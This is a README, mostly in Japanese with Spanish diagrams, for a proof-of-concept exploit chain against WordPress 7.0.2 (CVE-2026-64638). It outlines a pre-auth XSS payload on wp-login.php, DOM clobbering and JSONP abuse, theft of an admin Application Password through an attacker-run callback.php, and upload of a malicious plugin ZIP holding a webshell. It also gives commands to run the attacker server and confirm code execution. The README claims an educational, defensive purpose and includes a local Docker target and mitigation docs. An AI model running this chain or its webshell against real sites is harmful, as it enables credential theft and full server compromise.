
XSS2Shell (CVE-2026-64638) チェーンの教育用 PoC です。 pwn.ai が独自に発見し、2026年8月7日に公開した、WordPress Core の 認証前 XSS → RCE の脆弱性です。
CVE-2026-64638 は、WordPress のログイン画面 (wp-login.php) における、認証前の反射型クロスサイトスクリプティング (XSS) 脆弱性です。2026年8月6日に緊急のセキュリティリリースとして公開された 7.0.3 より前の、メンテナンス中のすべてのバージョンに影響します。CVSS v4.0 スコアは 8.9 と評価されました。
XSS2Shell という名前のチェーンは、細工されたユーザー名による失敗したログイン試行だけを起点に、攻撃者が以下を実行できることを示しています:
strip_tags と WordPress の wp_kses_post という2つの構文解析器の差異を利用して、ログインページにライブ DOM 要素を注入する。user-profile.js) の実行フローを乗っ取り、同一オリジンへの REST JSONP リクエストを実行させる。jQuery.globalEval() により、JSONP レスポンスを WordPress オリジン上での JavaScript 実行に変換する。その結果、攻撃者が制御するリンクへの管理者の 1 回のクリックを起点に、Webプロセスのユーザー (通常 www-data) 権限で WordPress サーバー上にリモートコード実行 (RCE) が発生します。
このリポジトリには、厳密に教育および防御目的のコンテンツが含まれています。
PoC には自己完結型の Docker 環境が付属しており、その唯一の目的は、ローカルで再現可能なターゲットとして機能することです。
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
この PoC は、macOS または Linux での実行を想定しており、必要なものは次のとおりです:
zip 拡張機能 (ペイロード を手動で構築する場合に必要。オプション。構築済みの ZIP は payload/ に含まれています)。WordPress を手動でインストールする必要はありません。docker-compose.yml が、パッチ前の最終バージョンである脆弱な WordPress 7.0.2 を MariaDB とともに起動します。
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress は http://localhost:8080 でアクセス可能になります。インストールウィザードに従い、管理者ユーザーを作成してください (例: admin / admin-password)。
Dockerfile はイメージを
wordpress:7.0.2-php8.2-apacheに固定しています。これはパッチ 7.0.3 より前の最終バージョンです。
# En otro terminal, dentro de attacker/
python3 server.py
攻撃者サーバーは http://localhost:9000 で待ち受け、以下を公開します:
/ → index.html (囮ページ)。/callback.php → Application Password の受信側。server.py を実行しているターミナルに、次のような行が表示されます:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
資格情報は attacker/captured_credentials.txt にも保存されます。
数秒後、index.html のオーケストレーターは次の操作を完了しています:
payload.zip プラグインを wp-content/plugins/payload/ にアップロード済みです。次のコマンドでコード実行を確認します:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
Hacked: true ヘッダーと JSON ボディによって RCE が確認されます。
チェーンが完了すると、次のエンドポイントが証拠となります:
| リソース | 期待される証拠 |
|---|---|
GET /wp-content/plugins/payload/shell.php | ヘッダー Hacked: true + JSON {"rce":true,"user":"www-data"} |
attacker/captured_credentials.txt |
docs/ANALISIS.md — WordPress のソースコードへの参照を含む、チェーンの各フェーズの詳細な技術分析。docs/MITIGACION.md — 推奨される緩和策、ハードニング、および パッチ 7.0.3 の検証。MIT ライセンスの下で配布されています。詳細は LICENSE ファイルを参照してください。
| 取得されたアプリケーションパスワード |
wp-admin → アプリケーション → アプリケーションパスワード | 「SomeApp」という名前の新しいエントリ |